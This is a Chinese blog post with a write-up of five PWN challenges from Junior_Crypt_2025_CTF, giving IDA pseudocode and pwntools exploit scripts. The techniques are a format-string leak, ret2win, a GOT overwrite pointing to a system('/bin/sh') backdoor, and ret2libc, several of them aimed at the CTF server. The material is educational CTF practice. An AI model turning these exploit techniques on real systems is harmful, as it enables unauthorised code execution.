背景

这几天抽空做了一下Junior_Crypt_2025_CTF,发现题目风格和国内还是很不一样的。

分享一下我的做题思路!


PWN

分享一下,复现资源(如有违权,联系删除!)
夸克网盘-https://pan.quark.cn/s/3c3948289f31
提取码:g4Xf

ChattyParrot

先放到ida里看一下主函数的伪c代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  const char *src; // [rsp+8h] [rbp-8h]

  init_streams(argc, argv, envp);
  src = getenv("FLAG_VAL");
  if ( !src )
  {
    fwrite("FLAG_VAL not set!\n", 1uLL, 0x12uLL, stderr);
    exit(1);
  }
  strncpy(SECRET, src, 0xFFuLL);
  printf("%s", "Input your phrase:");
  vuln();
  return 0;
}

这边注意一下,src指针在栈内

const char *src; // [rsp+8h] [rbp-8h]

配合一下vuln函数的格式化字符泄露

int vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  read(0, buf, 0x100uLL);
  return printf(buf);
}

在ubuntu中checksec确定amd64(x64),通常栈顶esp对应%7$(一般传参先放在几个寄存器rdi rsi rdx rcx r8 r9之后才是栈顶)但是通过测试发现esp对应%6$这里知道偏移,基本上就可以算出env的偏移,这里知道是41,可以考虑写脚本或者nc手动输入%41$s即可

这里多调试几次,详细截图找不到了,但是应该能懂。

图片

注意,本地调试需要设置一个环境变量

env = {"FLAG_VAL": "H&NCTF{test_flag}"}
p = process("./ChattyParrot", env=env)

感想,这个题目卡的挺久。事后反思了一下发现思维定势,想的太难了!

GoldenByte

签到题,先看一下伪c

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-8h] BYREF
  int v5; // [rsp+Ch] [rbp-4h]

  init_streams(argc, argv, envp);
  v5 = 0;
  v4 = 0;
  puts("--- 'Golden Byte' Lottery ---");
  printf("Ready to test your luck? Enter your lottery ticket number: > ");
  __isoc99_scanf("%d", &v4);
  printf("\nChecking ticket number %d...\n", v4);
  v5 = v4;
  if ( v4 == -1092551191 )
    jackpot();
  else
    puts("Sorry, your ticket didn't win. Better luck next time!");
  return 0;
}
------------------------------------------------------------
int jackpot()
{
  const char *s; // [rsp+8h] [rbp-8h]

  s = getenv("FLAG_VAL");
  return puts(s);
}

显然,v4为-1092551191即可直接nc

StackSmasher

这里主函数直接进入fuc函数

int func()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  printf("%s", "Input username:");
  read(0, buf, 0x80uLL);
  return printf("Your name is %s", buf);
}
--------------------------------------
int win()
{
  int first; // eax
  const char *s; // [rsp+8h] [rbp-8h]

  s = getenv("FLAG_VAL");
  first = first;
  if ( first )
  {
    first = second;
    if ( second )
      return puts(s);
  }
  return first;
}
---------------------------------------
void step1()
{
  first = 1;
}
---------------------------------------
void step2()
{
  second = 1;
}

显然(不懂的可以通过调试测试一下,b"a"32 + b"b"8 + p64(step1_add) + p64(1)会发现step1返回地址(p64(1),因此我们将p64(1)替换成step2_add))可以通过返回地址->step1->step2->win函数即可

from pwn import *

p = remote("ctf.mf.grsu.by", 9078)
#p = process("./StackSmasher")

step1_add = 0x4011A4
step2_add = 0x4011B5
win_add = 0x401166

payload = b"a"*32 + b"b"*8 + p64(step1_add) + p64(step2_add) + p64(win_add)

#gdb.attach(p)

p.sendafter(b"username:",payload)

p.interactive()

NeuralNet

感觉这道题最难了,伪c

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int n4; // [rsp+Ch] [rbp-14h] BYREF
  __int64 v4; // [rsp+10h] [rbp-10h] BYREF
  _QWORD *v5; // [rsp+18h] [rbp-8h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("--- Neural Net Simulator v0.1 (by Alex the Intern) ---");
  printf("Prediction module address (predict_outcome): %p\n", predict_outcome);
  while ( 1 )
  {
    puts("\nModel Control Menu:");
    puts("1. Train model (train_model)");
    puts("2. Make a prediction (predict_outcome)");
    puts("3. Neural Intervention (debug)");
    puts("4. Exit");
    printf("> ");
    __isoc99_scanf("%d", &n4);
    if ( n4 == 4 )
    {
      puts("Saving model... Shutting down.");
      exit(0);
    }
    if ( n4 > 4 )
    {
LABEL_12:
      puts("Unknown operation. The model is not responding.");
    }
    else
    {
      switch ( n4 )
      {
        case 3:
          printf("Enter 'neuron' address to modify (hex): > ");
          __isoc99_scanf("%lx", &v5);
          printf("Enter new 'neuron' weight (hex): > ");
          __isoc99_scanf("%lx", &v4);
          *v5 = v4;
          printf("Weight at address 0x%lx successfully modified.\n", v5);
          break;
        case 1:
          train_model();
          break;
        case 2:
          predict_outcome();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

这里我们看一下两个关键点

printf("Prediction module address (predict_outcome): %p\n", predict_outcome);

因为开了PIE保护,通过predict函数的地址泄露可以计算main_add

图片

main_add = leak_precome - 0x11E2即可

printf("Enter 'neuron' address to modify (hex): > ");
__isoc99_scanf("%lx", &v5);
printf("Enter new 'neuron' weight (hex): > ");
__isoc99_scanf("%lx", &v4);
*v5 = v4;

后门函数

int unlock_secret_research_data()
{
  puts("\n*** HIDDEN CORRELATION DETECTED! ***");
  puts("Access granted to 'Lead Data Scientist' research data...");
  puts("You've gained root access to the main dataset server.");
  return system("/bin/sh");
}

这里有一个任意地址写入,这个时候我们自然想到修改某个函数比如printf,但是这一轮结束会有多个printf显然不太合适,puts又需要修改参数(text段不能写入,可以尝试一下修改put、printf会报错,别问我怎么知道的。)最后发现exit()函数

附上脚本

from pwn import *

context.log_level = 'debug' # 开启调试信息
libc = ELF("libc.so.6")
elf = ELF("N")
#p = process("N")
p = remote("ctf.mf.grsu.by" ,9076)

"""
注意基地址算出后三位应为000
思路1 通过pre_come函数泄漏出main_add 主函数开启PIE
思路2 直接通过exit()修改后门地址
思路3 通过菜单4getshell
"""


p.recvuntil(b"(predict_outcome):")
precome_add = int(p.recvline().decode().strip(),16) 
print("precome_add------>",hex(precome_add))

main_add = precome_add - 0x11E2 
print("mian_add-------->",hex(main_add))

printf_got = elf.got["printf"] + main_add

p.sendlineafter(b"> ",b"3")

back = 0x1189 + main_add

exit_got = main_add + elf.got["exit"]

p.sendlineafter(b"'neuron' address ",hex(exit_got)[2:].encode())

#gdb.attach(p)
p.sendlineafter(b" weight ",hex(back)[2:].encode())
#gdb.attach(p)
p.interactive()

KindAuthor

国内老套了

puts泄露libc地址计算sys函数getshell

ssize_t func()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x80uLL);
}

脚本是本地打通的

from pwn import *

# 思路1通过fuc函数 栈溢出 puts_got函数泄漏libc地址
# 思路2通过libc地址计算sys函数
context.log_level = 'debug'

p = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './KindAuthor']) # 注意本地需要改一下libc以及so文件

libc = ELF("libc.so.6")
elf = ELF("KindAuthor")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
print("puts_got----------",hex(puts_got))

main_add = 0x40114F
rdi_ret = 0x040114a 

payload = b'a'*32 + b"b" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_add) # 设置main返回地址

p.sendlineafter(b" data:",payload)

leak = p.recv()

puts_real = u64(p.recv(6)+b"\0\0")
print("puts_real------->",hex(puts_real))


libc_base = puts_real - libc.symbols["puts"]

print("libc_base--------->",hex(libc_base))
system = libc_base + libc.symbols["system"]
bin_ = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x0401016 
payload = b"a"*32 + b"b"*8 + p64(ret)+p64(rdi_ret) + p64(bin_) + p64(system)
p.sendline(payload)
p.interactive()

希望对大家有帮助,不喜勿怪
如果有什么想法,可以发评论进行讨论

posted on 2025-07-05 11:16  Qyzen  阅读(62)  评论(0)    收藏  举报